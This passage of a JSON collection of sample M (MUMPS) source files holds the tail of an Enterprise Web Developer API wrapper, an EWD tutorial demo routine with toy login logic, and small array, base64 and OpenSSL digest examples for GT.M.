;\nfileSize(path)\n QUIT $$fileSize^%zewdCompiler13($g(path))\n ;\nfileExists(path)\n QUIT $$fileExists^%zewdCompiler13($g(path))\n ;\nfileInfo(path,info)\n d fileInfo^%zewdCompiler13($g(path),.info)\n QUIT\n ;\ndirectoryExists(path)\n QUIT $$directoryExists^%zewdCompiler13($g(path))\n ;\ndeleteFile(filepath)\n QUIT $$deleteFile^%zewdCompiler13($g(filepath))\n ;\nrenameFile(filepath,newpath)\n QUIT $$renameFile^%zewdCompiler13($g(filepath),$g(newpath))\n ;\ncreateDirectory(path)\n QUIT $$createDirectory^%zewdCompiler13($g(path))\n ;\nremoveCR(string)\n i $e(string,$l(string))=$c(13) s string=$e(string,1,$l(string)-1)\n QUIT string\n ;\nsetApplicationRootPath(path)\n d setApplicationRootPath^%zewdCompiler(path)\n QUIT\n ;\napplicationRootPath()\n QUIT $$applicationRootPath^%zewdCompiler()\n ;\ngetApplicationRootPath()\n QUIT $$getApplicationRootPath^%zewdCompiler()\n ;\nsetOutputRootPath(path,technology)\n d setOutputRootPath^%zewdCompiler(path,technology)\n QUIT\n ;\ngetRootURL(technology)\n QUIT $$getRootURL^%zewdCompiler(technology)\n ;\nsetRootURL(cspURL,technology)\n d setRootURL^%zewdCompiler(cspURL,technology)\n QUIT\n ;\ngetDefaultTechnology()\n QUIT $$getDefaultTechnology^%zewdCompiler()\n ;\ngetDefaultMultiLingual()\n QUIT $$getDefaultMultiLingual^%zewdCompiler()\n ;\ngetOutputRootPath(technology)\n QUIT $$getOutputRootPath^%zewdCompiler(technology)\n ;\ngetJSScriptsPath(app,technology)\n QUIT $$getJSScriptsPath^%zewdCompiler8(app,technology)\n ;\ngetJSScriptsPathMode(technology)\n QUIT $$getJSScriptsPathMode^%zewdCompiler8(technology)\n\t;\nsetJSScriptsPathMode(technology,mode)\n d setJSScriptsPathMode^%zewdCompiler8(technology,mode)\n QUIT\n\t;\ngetJSScriptsRootPath(technology)\n QUIT $$getJSScriptsRootPath^%zewdCompiler8(technology)\n\t;\nsetJSScriptsRootPath(technology,path)\n d setJSScriptsRootPath^%zewdCompiler8(technology,path)\n QUIT\n ;\ngetHomePage()\n QUIT $$getHomePage^%zewdCompiler()\n ;\nsetHomePage(homePage)\n d setHomePage^%zewdCompiler($g(homePage))\n QUIT\n ;\ngetApplications(appList)\n QUIT $$getApplications^%zewdCompiler16(.appList)\n ;\ngetPages(application,pageList)\n QUIT $$getPages^%zewdCompiler16($g(application),.pageList)\n ;\ngetDefaultFormat()\n QUIT $$getDefaultFormat^%zewdCompiler()\n ;\ngetNextChild(parentOID,childOID)\n i $g(parentOID)=\"\" QUIT \"\"\n i childOID=\"\" QUIT $$getFirstChild^%zewdDOM(parentOID)\n QUIT $$getNextSibling^%zewdDOM(childOID)\n ;\naddCSPServerScript(parentOID,text,atTop)\n QUIT $$addCSPServerScript^%zewdCompiler4(parentOID,text,$g(atTop))\n ;\ncreatePHPCommand(data,docOID)\n QUIT $$createPHPCommand^%zewdCompiler4(data,docOID)\n ;\ncreateJSPCommand(data,docOID)\n QUIT $$createJSPCommand^%zewdCompiler4(data,docOID)\n ;\ninstantiateJSPVar(var,type,docOID,arraySize,initialValue)\n d instantiateJSPVar^%zewdCompiler4(var,type,docOID,arraySize,initialValue)\n QUIT\n ;\nremoveIntermediateNode(inOID)\n d removeIntermediateNode^%zewdCompiler4(inOID)\n QUIT\n ;\ngetNormalisedAttributeValue(attrName,nodeOID,technology)\n QUIT $$getNormalAttributeValue^%zewdCompiler($g(attrName),$g(nodeOID),$g(technology))\n ;\ngetNormalAttributeValue(attrName,nodeOID,technology)\n QUIT $$getNormalAttributeValue^%zewdCompiler($g(attrName),$g(nodeOID),$g(technology))\n ;\ngetTagOID(tagName,docName,lowerCase)\n QUIT $$getTagOID^%zewdCompiler($g(tagName),$g(docName),$g(lowerCase))\n ;\ngetTagByNameAndAttr(tagName,attrName,attrValue,matchCase,docName)\n QUIT $$getTagByNameAndAttr^%zewdCompiler3($g(tagName),$g(attrName),$g(attrValue),$g(matchCase),$g(docName))\n ;\njavascriptFunctionExists(functionName,docName)\n QUIT $$javascriptFunctionExists^%zewdCompiler7($g(functionName),$g(docName))\n ;\naddJavascriptFunction(docName,jsTextArray)\n QUIT $$addJavascriptFunction^%zewdCompiler7($g(docName),.jsTextArray)\n ;\ngetJavascriptFunctionBody(functionName,docName)\n QUIT $$getJavascriptFunctionBody^%zewdCompiler7($g(functionName),docName)\n ;\nreplaceJavascriptFunctionBody(functionName,jsText,docName)\n QUIT $$replaceJavascriptFunctionBody^%zewdCompiler7($g(functionName),$g(jsText),$g(docName))\n ;\ngetDelim()\n QUIT $$getDelim^%zewdCompiler()\n ;\nsetJSONPage(sessid)\n QUIT $$setJSONPage^%zewdCompiler20($g(sessid))\n ; ===========================================================================\n ;    WLD conversion utilities\n ; ===========================================================================\n ;\nconfigureWebLink(webserver,mode,alias,path)\n QUIT $$configure^%zewdWLD($g(webserver),$g(mode),$g(alias),$g(path))\n ;\nmergeListToSession(fieldName,sessid)\n d mergeListToSession^%zewdCompiler16($g(fieldName),$g(sessid))\n QUIT\n ;\ngetPREVPAGE(sessid) ;\n QUIT $$getPREVPAGE^%zewdCompiler19($g(sessid)) ;\n ;\ncopyToWLDSymbolTable(sessid)\n d copyToWLDSymbolTable^%zewdCompiler16($g(sessid))\n ;\ngetPRESSED(sessid)\n QUIT $$getSessionValue(\"ewd_pressed\",sessid)\n ;\ncopyToLIST(listName,sessid)\n ;\n k LIST(listName)\n m LIST(listName)=^%zewdSession(\"session\",sessid,\"ewd_list\",listName)\n QUIT\n ;\ncopyToSELECTED(fieldName,sessid)\n ;\n k SELECTED(fieldName)\n m SELECTED(fieldName)=^%zewdSession(\"session\",sessid,\"ewd_selected\",fieldName)\n QUIT\n ;\ntraceModeOn\n s ^zewd(\"trace\")=1\n QUIT\n ;\ntraceModeOff\n k ^zewd(\"trace\")\n QUIT\n ;\ngetTraceMode()\n i $g(^zewd(\"trace\"))=1 QUIT 1\n QUIT 0\n ;\ntrace(text,clear) ; trace  ;\n n i\n s text=$g(text)\n i $g(clear)=1 k ^%zewdTrace\n s i=$increment(^%zewdTrace)\n s ^%zewdTrace(i)=text\n QUIT\n ;\ninetDate(hdate) ; Decode $H date and time to Internet format\n ;\n N %d,%day,%time,%date\n ;\n S %time=$P(hdate,\",\",2)\n I %time>86400 D\n .S %time=%time-86400\n .S hdate=(hdate+1)_\",\"_%time\n ;\n S %d=\"Thu,Fri,Sat,Sun,Mon,Tue,Wed\"\n S %day=(hdate#7)+1\n S %day=$P(%d,\",\",%day)\n ;\n S %date=$$decDate(hdate)\n ;S %date=$TR(%date,\" \",\"-\")\n S %time=$$inetTime(hdate)\n S %date=%day_\", \"_%date_\" \"_%time\n Q %date\ndecDate(hdate) ; Decode a date from $H format\n ;\n n %yy,%mm,%dd,%d1,%d\n i $zv'[\"GT.M\" d\n . s %d1=$zd(hdate,5)\n . s %yy=$p(%d1,\", \",2)\n . s %dd=+$p(%d1,\" \",2) I %dd<10 S %dd=\"0\"_%dd\n . s %mm=$p(%d1,\" \",1)\n e  d\n . n p1,p2\n . s %d1=$zd(hdate,2) \n . s %dd=$p(%d1,\"-\",1)\n . s %mm=$p(%d1,\"-\",2)\n . s p1=$e(%mm,1),p2=$e(%mm,2,$l(%mm))\n . s %mm=p1_$$lowerCase(p2)\n . s %yy=$p(%d1,\"-\",3)\n . i hdate>58073 s %yy=\"20\"_%yy\n s %d=%dd_\" \"_%mm_\" \"_%yy\n QUIT %d\n ;\ninetTime(hdate) ; Decode Internet Format Time from $H format\n ; Offset is relative to GMT, eg -0500\n ;\n n hh,mm,ss,time\n s time=$p(hdate,\",\",2)\n s hh=time\\3600 i hh<10 s hh=\"0\"_hh\n s time=time#3600\n s mm=time\\60 i mm<10 s mm=\"0\"_mm\n s ss=time#60 i ss<10 s ss=\"0\"_ss\n QUIT hh_\":\"_mm_\":\"_ss\n ;\nopenNewFile(filepath)\n QUIT $$openNewFile^%zewdCompiler($g(filepath))\n ;\nopenFile(filepath)\n QUIT $$openFile^%zewdCompiler($g(filepath))\n ;\nopenDOM()\n ;\n n i,ok\n ;\n f i=1:1:20 s ok=$$openDOM^%zewdDOM(0,,,,,,,,,,,,,,,,,) q:$$zcvt(ok,\"l\")[\"licensing violation\"  q:ok=\"\"  h 1\n i ok'=\"\" s ok=\"No eXtc Licenses available!\"\n QUIT ok\n ;\nremoveChild(nodeOID,removeFromDOM)\n ;\n n ver\n ;\n s ver=\"\" \n QUIT $$removeChild^%zewdDOM(nodeOID,$g(removeFromDOM))\n ;\nremoveAttribute(attrName,nodeOID,removeFromDOM)\n ;\n n ver\n ;\n s ver=\"\" \n d removeAttribute^%zewdDOM(attrName,nodeOID,$g(removeFromDOM)) QUIT\n ;\nremoveAttributeNS(ns,attrName,nodeOID,removeFromDOM)\n ;\n n ver\n ;\n s ver=\"\" \n d removeAttributeNS^%zewdDOM(ns,attrName,nodeOID,$g(removeFromDOM)) QUIT\n ;\nremoveIntermediateNodeeXtc(nodeOID,removeFromDOM)\n ;\n n ver\n ;\n d removeIntermediateNode^%zewdDOM(nodeOID,$g(removeFromDOM))\n QUIT\n ;\nexport(fileName,prefix,extension)\n d export^%zewdCompiler16($g(fileName),$g(prefix),$g(extension))\n QUIT\n ;\nimport(fileName)\n ;\n i $g(fileName)=\"\" s fileName=\"zewd.xml\"\n QUIT\n ;\nlistDOMsByPrefix(prefix)\n\td listDOMsByPrefix^%zewdCompiler19($g(prefix))\n\tQUIT\n ;\nremoveDOMsByPrefix(prefix)\n\td removeDOMsByPrefix^%zewdCompiler19($g(prefix))\n\tQUIT\n\t;\ndumpDOM(docName)\n ;\n d dumpDOM^%zewdCompiler20($g(docName))\n QUIT\n ;\nnamespace()\n QUIT $zdir\n ;\nsetNamespace(namespace)\n s $zdir=namespace\n QUIT\n ;\nzcvt(string,param,param2)\n ;\n i $g(param)=\"\" s param=\"l\"\n i param=\"l\"!(param=\"L\") QUIT $tr(string,\"ABCDEFGHIJKLMNOPQRSTUVWXYZ\",\"abcdefghijklmnopqrstuvwxyz\")\n i param=\"u\"!(param=\"U\") QUIT $tr(string,\"abcdefghijklmnopqrstuvwxyz\",\"ABCDEFGHIJKLMNOPQRSTUVWXYZ\")\n i param=\"O\",param2=\"HTML\" d  QUIT string\n . s string=$$replaceAll^%zewdAPI(string,\"&\",$c(1))\n . s string=$$replaceAll^%zewdAPI(string,\"\"\"\",\"&quot;\")\n . s string=$$replaceAll^%zewdAPI(string,\"'\",\"&#39;\")\n . s string=$$replaceAll^%zewdAPI(string,\"<\",\"&lt;\")\n . s string=$$replaceAll^%zewdAPI(string,\">\",\"&gt;\")\n . s string=$$replaceAll^%zewdAPI(string,$c(1),\"&amp;\")\n i param=\"I\",param2=\"HTML\" d  QUIT string\n . n c,no,no2,p1,p2,p3,stop\n . s string=$$replaceAll^%zewdAPI(string,\"&quot;\",\"\"\"\")\n . s string=$$replaceAll^%zewdAPI(string,\"&#39;\",\"'\")\n . s string=$$replaceAll^%zewdAPI(string,\"&amp;\",\"&\")\n . s string=$$replaceAll^%zewdAPI(string,\"&lt;\",\"<\")\n . s string=$$replaceAll^%zewdAPI(string,\"&gt;\",\">\")\n . s stop=0\n . f  d  q:stop\n . . s no=$l(string,\"&#\")\n . . i string'[\"&#\" s stop=1 q\n . . s p1=$p(string,\"&#\",1)\n . . s p2=$p(string,\"&#\",2,no+1)\n . . s no2=$l(p2,\";\")\n . . s p3=$p(p2,\";\",1)\n . . i $l(p3)'=2 s stop=1 q\n . . s p2=$p(p2,\";\",2,no2+1)\n . . s c=$c(p3)\n . . s string=p1_c_p2\n QUIT string\n ;\ngetIP() ; Get own IP address\n QUIT $$getIP^%zewdAPI2()\n ;\najaxErrorRedirect(sessid)\n QUIT $$ajaxErrorRedirect^%zewdAPI2($g(sessid))\n ;\nclassExport(className,methods,filepath)\n ;\n QUIT $$classExport^%zewdCompiler16($g(className),.methods,$g(filepath))\n ;\nstrx(string)\n d strx^%zewdAPI2($g(string))\n QUIT\n ;\ndisableEwdMgr\n s ^%zewd(\"disabled\")=1\n QUIT\n ;\nenableEwdMgr\n k ^%zewd(\"disabled\")\n QUIT\n ;\nenableWLDAccess(app,page)\n i $g(^zewd(\"allowWLDAccess\",$$zcvt(app,\"l\"),$$zcvt(page,\"l\")))'=1 s ^zewd(\"allowWLDAccess\",$$zcvt(app,\"l\"),$$zcvt(page,\"l\"))=1\n QUIT\n ;\ndisableWLDAccess(app,page)\n k ^zewd(\"allowWLDAccess\",$$zcvt(app,\"l\"),$$zcvt(page,\"l\"))\n QUIT\nisSSOValid(sso,username,password,sessid)\n QUIT $$isSSOValid^%zewdMgrAjax2($g(sso),$g(username),$g(password),$g(sessid))\n ;\nuniqueId(nodeOID,filename)\n QUIT $p(filename,\".ewd\",1)_$p(nodeOID,\"-\",2)\n ;\nlinkToParentSession(sessid)\n QUIT $$linkToParentSession^%zewdCompiler20($g(sessid))\n ;\nexportToGTM(routine)\n"
  },
  {
    "path": "samples/M/_zewdDemo.m",
    "content": "%zewdDemo ; Tutorial page functions\n ;\n ; Product: Enterprise Web Developer (Build 910)\n ; Build Date: Wed, 25 Apr 2012 17:59:25\n ;\n ; \n ; ----------------------------------------------------------------------------\n ; | Enterprise Web Developer for GT.M and m_apache                           |\n ; | Copyright (c) 2004-12 M/Gateway Developments Ltd,                        |\n ; | Reigate, Surrey UK.                                                      |\n ; | All rights reserved.                                                     |\n ; |                                                                          |\n ; | http://www.mgateway.com                                                  |\n ; | Email: rtweed@mgateway.com                                               |\n ; |                                                                          |\n ; | This program is free software: you can redistribute it and/or modify     |\n ; | it under the terms of the GNU Affero General Public License as           |\n ; | published by the Free Software Foundation, either version 3 of the       |\n ; | License, or (at your option) any later version.                          |\n ; |                                                                          |\n ; | This program is distributed in the hope that it will be useful,          |\n ; | but WITHOUT ANY WARRANTY; without even the implied warranty of           |\n ; | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the            |\n ; | GNU Affero General Public License for more details.                      |\n ; |                                                                          |\n ; | You should have received a copy of the GNU Affero General Public License |\n ; | along with this program.  If not, see <http://www.gnu.org/licenses/>.    |\n ; ----------------------------------------------------------------------------\n ;\ngetLanguage(sessid)\n ;\n s language=$$getRequestValue^%zewdAPI(\"ewd_Language\",sessid)\n d setSessionValue^%zewdAPI(\"ewd_Language\",language,sessid)\n d setSessionValue^%zewdAPI(\"url\",\"www.mgateway.com\",sessid)\n d setSessionValue^%zewdAPI(\"imageTest\",2,sessid)\n d setSessionValue^%zewdAPI(\"tmp_testing\",1234567,sessid)\n QUIT \"\"\n ;\nlogin(sessid)\n ;\n n username,password\n ;\n s username=$$getTextValue^%zewdAPI(\"username\",sessid)\n s password=$$getPasswordValue^%zewdAPI(\"password\",sessid)\n ;d trace^%zewdAPI(\"in login - username=\"_username_\" ; password=\"_password)\n i username'=\"ROB\" QUIT \"invalid username\"\n i password'=\"ROB\" QUIT \"invalid password\"\n QUIT \"\"\n ;\nlogine(sessid)\n ;\n n error,username,password,message,textid\n ;\n s error=\"\"\n s message=$$errorMessage^%zewdAPI(\"invalid login attempt\",sessid)\n s username=$$getTextValue^%zewdAPI(\"username\",sessid)\n s password=$$getPasswordValue^%zewdAPI(\"password\",sessid)\n ;\n i '$d(^ewdDemo(\"tutorial\",\"authentication\")) d  QUIT $$errorMessage^%zewdAPI(error,sessid)\n . i username'=\"ROB\" s error=message q\n . i password'=\"ROB\" s error=message q\n ;\n i username=\"\" QUIT message\n i '$d(^ewdDemo(\"tutorial\",\"authentication\",username)) QUIT message\n i password'=$p(^ewdDemo(\"tutorial\",\"authentication\",username),\"~\",1) QUIT message\n QUIT \"\"\n ;\ngetUsernames(sessid) ;\n ;\n n user\n ;\n i '$d(^ewdDemo(\"tutorial\",\"authentication\")) d  QUIT \"\"\n . d clearList^%zewdAPI(\"user\",sessid)\n . d appendToList^%zewdAPI(\"user\",\"Select a user..\",\"nul\",sessid)\n . d appendToList^%zewdAPI(\"user\",\"ROB\",\"ROB\",sessid)\n ;\n s user=\"\"\n d clearList^%zewdAPI(\"user\",sessid)\n d appendToList^%zewdAPI(\"user\",\"Select a user..\",\"\",sessid)\n f  s user=$o(^ewdDemo(\"tutorial\",\"authentication\",user)) q:user=\"\"  d\n . d appendToList^%zewdAPI(\"user\",user,user,sessid)\n ;\n QUIT \"\"\n ;\naddUsername(sessid)\n ;\n n newUsername\n ;\n s newUsername=$$getTextValue^%zewdAPI(\"newUsername\",sessid)\n i newUsername=\"\" QUIT \"You must enter a username\"\n i $d(^ewdDemo(\"tutorial\",\"authentication\",newUsername)) QUIT newUsername_\" already exists\"\n d setTextValue^%zewdAPI(\"user\",newUsername,sessid)\n QUIT \"\"\n ;\ntestValue(sessid)\n ;\n n user,pass\n ;\n s user=$$getSelectValue^%zewdAPI(\"user\",sessid)\n ;d trace^%zewdAPI(\"user=\"_user)\n QUIT \"\"\n ;\ngetPassword(sessid)\n ;\n n user,pass\n ;\n s user=$$getSelectValue^%zewdAPI(\"user\",sessid)\n s pass=$g(^ewdDemo(\"tutorial\",\"authentication\",user))\n s pass=$p(pass,\"~\",1)\n i user=\"ROB\",pass=\"\" s pass=\"ROB\"\n d setTextValue^%zewdAPI(\"pass\",pass,sessid)\n QUIT \"\"\n ;\nsetPassword(sessid)\n ;\n n user,pass\n ;\n s user=$$getSelectValue^%zewdAPI(\"user\",sessid)\n s pass=$$getTextValue^%zewdAPI(\"pass\",sessid)\n i pass=\"\" QUIT \"You must enter a password\"\n s ^ewdDemo(\"tutorial\",\"authentication\",user)=pass\n QUIT \"\"\n ;\ngetObjDetails(sessid)\n i '$$sessionNameExists^%zewdAPI(\"person.username\",sessid) d\n . d setSessionValue^%zewdAPI(\"person.username\",\"Rob\",sessid)\n . d setSessionValue^%zewdAPI(\"person.password\",\"secret!\",sessid)\n . d setSessionValue^%zewdAPI(\"person.userType\",\"g\",sessid)\n . d setCheckboxOn^%zewdAPI(\"person.permissions\",\"w\",sessid)\n . d setCheckboxOn^%zewdAPI(\"person.permissions\",\"e\",sessid)\n . d clearList^%zewdAPI(\"person.language\",sessid)\n . d appendToList^%zewdAPI(\"person.language\",\"English\",\"en\",sessid)\n . d appendToList^%zewdAPI(\"person.language\",\"French\",\"fr\",sessid)\n . d appendToList^%zewdAPI(\"person.language\",\"German\",\"d\",sessid)\n . d appendToList^%zewdAPI(\"person.language\",\"Italian\",\"it\",sessid)\n . d setMultipleSelectOn^%zewdAPI(\"person.language\",\"en\",sessid)\n . d setMultipleSelectOn^%zewdAPI(\"person.language\",\"d\",sessid)\n . d clearTextArea^%zewdAPI(\"person.comments\",sessid)\n . s textarea(1)=\"This is a line of text\"\n . s textarea(2)=\"This is the second line\"\n . d createTextArea^%zewdAPI(\"person.comments\",.textarea,sessid)\n . d setSessionValue^%zewdAPI(\"wld.%KEY.MGWLPN\",\"EXTC\",sessid)\n QUIT \"\"\n ;\nsetObjDetails(sessid)\n QUIT \"\"\n ;\ngetDetails(sessid)\n ;\n n user,pass,data,expireDate,userType,selected,textarea,confirmText\n ;\n ;d trace^%zewdAPI(\"got here!!\")\n s browser=$$getServerValue^%zewdAPI(\"HTTP_USER_AGENT\",sessid)\n d setSessionValue^%zewdAPI(\"browser\",browser,sessid)\n s user=$$getTextValue^%zewdAPI(\"user\",sessid)\n s data=\"\"\n i user'=\"\" s data=$g(^ewdDemo(\"tutorial\",\"authentication\",user))\n ;d trace^%zewdAPI(\"user=\"_user_\" ; data=\"_data)\n s pass=$p(data,\"~\",1)\n i user=\"ROB\",pass=\"\" d  QUIT \"\"\n . d setTextValue^%zewdAPI(\"pass\",\"ROB\",sessid)\n . d setRadioOn^%zewdAPI(\"userType\",\"a\",sessid)\n . d initialiseCheckbox^%zewdAPI(\"permissions\",sessid)\n . d setCheckboxOn^%zewdAPI(\"permissions\",\"w\",sessid)\n . d setCheckboxOn^%zewdAPI(\"permissions\",\"e\",sessid)\n . d setCheckboxOn^%zewdAPI(\"permissions\",\"s\",sessid)\n . d createLanguageList(sessid)\n . d setMultipleSelectOn^%zewdAPI(\"language\",\"en\",sessid)\n . d setMultipleSelectOn^%zewdAPI(\"language\",\"d\",sessid)\n . d clearTextArea^%zewdAPI(\"comments\",sessid)\n . s textarea(1)=\"This is a line of text\"\n . s textarea(2)=\"This is the second line\"\n . d createTextArea^%zewdAPI(\"comments\",.textarea,sessid)\n ;\n d setTextValue^%zewdAPI(\"pass\",pass,sessid)\n ;d trace^%zewdAPI(\"data=\"_data)\n s userType=$p(data,\"~\",2)\n i userType=\"\" s userType=\"g\"\n d setRadioOn^%zewdAPI(\"userType\",userType,sessid)\n d initialiseCheckbox^%zewdAPI(\"permissions\",sessid)\n i user'=\"\" m selected=^ewdDemo(\"tutorial\",\"authentication\",user,\"permissions\")\n d setCheckboxValues^%zewdAPI(\"permissions\",.selected,sessid)\n d createLanguageList(sessid)\n k selected\n i user'=\"\" m selected=^ewdDemo(\"tutorial\",\"authentication\",user,\"language\")\n d setMultipleSelectValues^%zewdAPI(\"language\",.selected,sessid)\n d clearTextArea^%zewdAPI(\"comments\",sessid)\n i user'=\"\" m textarea=^ewdDemo(\"tutorial\",\"authentication\",user,\"comments\")\n d createTextArea^%zewdAPI(\"comments\",.textarea,sessid)\n ;\n QUIT \"\"\n ;\ncreateLanguageList(sessid)\n ;\n n attr\n d clearList^%zewdAPI(\"language\",sessid)\n d appendToList^%zewdAPI(\"language\",\"English\",\"en\",sessid)\n s attr(\"style\")=\"color:red\"\n d appendToList^%zewdAPI(\"language\",\"French\",\"fr\",sessid,.attr)\n d appendToList^%zewdAPI(\"language\",\"German\",\"d\",sessid,.attr)\n s attr(\"style\")=\"color:green\"\n d appendToList^%zewdAPI(\"language\",\"Italian\",\"it\",sessid,.attr)\n s attr(\"style\")=\"color:green\"\n d appendToList^%zewdAPI(\"language\",\"Spanish\",\"esp\",sessid,.attr)\n d appendToList^%zewdAPI(\"language\",\"Portuguese\",\"por\",sessid)\n d appendToList^%zewdAPI(\"language\",\"Danish\",\"den\",sessid)\n d appendToList^%zewdAPI(\"language\",\"Swedish\",\"swe\",sessid)\n d appendToList^%zewdAPI(\"language\",\"Norwegian\",\"nor\",sessid)\n d initialiseMultipleSelect^%zewdAPI(\"language\",sessid)\n QUIT\n ;\nsetDetails(sessid)\n ;\n n error,expireDate,user,pass,userType,selected,comments,warning\n ;\n s user=$$getTextValue^%zewdAPI(\"user\",sessid)\n s pass=$$getTextValue^%zewdAPI(\"pass\",sessid)\n i pass=\"\" d  QUIT \"You must enter a password\"\n . d setFieldError^%zewdAPI(\"pass\",sessid)\n i pass=\"xxx\" d setFieldError^%zewdAPI(\"testField\",sessid) QUIT \"test error\"\n s userType=$$getRadioValue^%zewdAPI(\"userType\",sessid)\n s ^ewdDemo(\"tutorial\",\"authentication\",user)=pass_\"~\"_userType\n k ^ewdDemo(\"tutorial\",\"authentication\",user,\"permissions\")\n d getCheckboxValues^%zewdAPI(\"permissions\",.selected,sessid)\n m ^ewdDemo(\"tutorial\",\"authentication\",user,\"permissions\")=selected\n k ^ewdDemo(\"tutorial\",\"authentication\",user,\"language\")\n k selected\n d getMultipleSelectValues^%zewdAPI(\"language\",.selected,sessid)\n m ^ewdDemo(\"tutorial\",\"authentication\",user,\"language\")=selected\n k ^ewdDemo(\"tutorial\",\"authentication\",user,\"comments\")\n d getTextArea^%zewdAPI(\"comments\",.comments,sessid)\n m ^ewdDemo(\"tutorial\",\"authentication\",user,\"comments\")=comments\n ;s warning=\"Record successfully updated\"\n ;d setWarning^%zewdAPI(warning,sessid)\n ;\n QUIT \"\"\n ;\ntestAjaxForm(sessid)\n ;\n i $$getRequestValue^%zewdAPI(\"testField1\",sessid)=\"\" d  QUIT \"field1 must not be null\"\n . d setFieldError^%zewdAPI(\"testField1\",sessid)\n i $$getRequestValue^%zewdAPI(\"testField2\",sessid)=\"\" d  QUIT \"javascript: x=1 ; document.getElementById('testField3').value = x\"\n . d setFieldError^%zewdAPI(\"testField2\",sessid)\n i $$getRequestValue^%zewdAPI(\"testField3\",sessid)=\"\" d  QUIT \"field3 must not be null\"\n . d setFieldError^%zewdAPI(\"testField3\",sessid)\n ;\n QUIT \"\"\n ;\ngetVersion() ;\n QUIT $zv\n ;\ngetTime(sessid)\n ;\n d setSessionValue^%zewdAPI(\"dateTime\",$$inetDate^%zewdAPI($h),sessid)\n QUIT \"\"\n ;\n"
  },
  {
    "path": "samples/M/arrays.m",
    "content": "start ; create student data\n  set student(\"name\",\"first\")=\"Linus\"\n  set student(\"name\",\"last\")=\"Torvalds\"\n  set student(\"language\")=\"C\"\n  set student(\"classes\",\"monday\")=\"Algebra\"\n  set student(\"classes\",\"tuesday\")=\"Geometry\"\n  set student(\"classes\",\"wednesday\")=\"English\"\n  set student(\"classes\",\"thursday\")=\"French\"\n  set student(\"classes\",\"friday\")=\"Jujitsu\"\n  zwrite student\n  write $order(student)\n\n  write !,\"Student array top level\",!\n  set x=\"\"\n  for  do  quit:x=\"\"\n  . set x=$order(student(x))\n  . write x,!\n\n  write !,\"Student classes \",!\n  set x=\"\"\n  for  do  quit:x=\"\"\n  . set x=$order(student(\"classes\",x))\n  . write:x'=\"\" x,\" : \",student(\"classes\",x),!\n\n  quit\n"
  },
  {
    "path": "samples/M/base64.m",
    "content": "\t;\n\t; This file is part of DataBallet.\n\t; Copyright (C) 2012 Laurent Parenteau <laurent.parenteau@gmail.com>\n\t;\n\t; DataBallet is free software: you can redistribute it and/or modify\n\t; it under the terms of the GNU Affero General Public License as\n\t; published by the Free Software Foundation, either version 3 of the\n\t; License, or (at your option) any later version.\n\t;\n\t; DataBallet is distributed in the hope that it will be useful,\n\t; but WITHOUT ANY WARRANTY; without even the implied warranty of\n\t; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n\t; GNU Affero General Public License for more details.\n\t;\n\t; You should have received a copy of the GNU Affero General Public License\n\t; along with DataBallet.  If not, see <http://www.gnu.org/licenses/>.\n\t;\n\nencode(message)\n\t;\n\t; Return base64 with URL and Filename safe alphabet (RFC 4648)\n\t;\n\tnew base64,todrop,i\n\t\n\t; Populate safe alphabet values on first use only.\n\tif '$data(base64safe) do\n\t.\tfor i=0:1:25 set base64safe(i)=$zchar(65+i),base64safe(i+26)=$zchar(97+i)\n\t.\tfor i=52:1:61 set base64safe(i)=$zchar(i-4)\n\t.\tset base64safe(62)=\"-\",base64safe(63)=\"_\"\n\n\t; Pad message with 0 to ensure number of bytes is a multiple of 3.\n\tset todrop=0\n\tfor  quit:($zlength(message)#3)=0  set message=message_$zchar(0) set todrop=todrop+1\n\n\t; Base64 encode the message\n\tset base64=\"\"\n\tfor i=1:3:$zlength(message) do\n\t.\tset base64=base64_base64safe($zascii(message,i)\\4)\n\t.\tset base64=base64_base64safe(($zascii(message,i)#4*16)+($zascii(message,i+1)\\16))\n\t.\tset base64=base64_base64safe(($zascii(message,i+1)#16*4)+($zascii(message,i+2)\\64))\n\t.\tset base64=base64_base64safe($zascii(message,i+2)#64)\n\n\tset:todrop'=0 base64=$zextract(base64,1,$zlength(base64)-todrop)\n\n\tquit base64\n"
  },
  {
    "path": "samples/M/digest.m",
    "content": ";\n;  GT.M Digest Extension\n;  Copyright (C) 2012 Piotr Koper <piotr.koper@gmail.com>\n;\n;  This program is free software: you can redistribute it and/or modify\n;  it under the terms of the GNU Affero General Public License as\n;  published by the Free Software Foundation, either version 3 of the\n;  License, or (at your option) any later version.\n;\n;  This program is distributed in the hope that it will be useful,\n;  but WITHOUT ANY WARRANTY; without even the implied warranty of\n;  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n;  GNU Affero General Public License for more details.\n;\n;  You should have received a copy of the GNU Affero General Public License\n;  along with this program.  If not, see <http://www.gnu.org/licenses/>.\n;\n\n;  GT.M™ is a trademark of Fidelity Information Services, Inc.\n\n; \"GT.M™ is a vetted industrial strength, transaction processing application\n;  platform consisting of a key-value database engine optimized for extreme\n;  transaction processing throughput & business continuity.\"\n;                                -- http://sourceforge.net/projects/fis-gtm/\n\n\n\n; GT.M Digest Extension\n;\n; This simple OpenSSL based digest extension is a rewrite of OpenSSL\n; EVP_DigestInit usage example with additional M wrapper.\n; See http://www.openssl.org/docs/crypto/EVP_DigestInit.html for details.\n;\n; The return value from $&digest.init() is 0, usually when an invalid digest\n; algorithm was specification. Anyway, properly used, should never fail.\n;\n; Please feel free to contact me if you have any questions or comments,\n; Piotr Koper <piotr.koper@gmail.com>\n;\n\n\ndigest(m,a) ; returns digest in ASCII HEX, all-in-one\n\tn c,d\n\ts c=$&digest.init(a)\n\td &digest.update(.c,.m)\n\td &digest.final(.c,.d)\n\tq d\n\n\ninit(alg) ; returns context handler, for alg try \"md5\", \"sha256\", etc\n\t; 0 is returned when an error occurs (e.g. unknown digest)\n\tq $&digest.init(alg)\n\nupdate(ctx,msg) ; updates digest (ctx) by message msg\n\td &digest.update(.ctx,.msg)\n\tq\n\nfinal(ctx,digest) ; returns hex encoded message digest in digest\n\t; frees memory allocated for the ctx also\n\td &digest.final(.ctx,.digest)\n\tq\n\n\n; digest algorithms availability depends on libcrypto (OpenSSL) configuration\n\nmd4(m) q $$digest(.m,\"md4\")\nmd5(m) q $$digest(.m,\"md5\")\nsha(m) q $$digest(.m,\"sha\")\nsha1(m) q $$digest(.m,\"sha1\")\nsha224(m) q $$digest(.m,\"sha224\")\nsha256(m) q $$digest(.m,\"sha256\")\nsha512(m) q $$digest(.m,\"sha512\")\ndss1(m) q $$digest(.m,\"dss1\")\nripemd160(m) q $$digest(.m,\"ripemd160\")\n"
  },
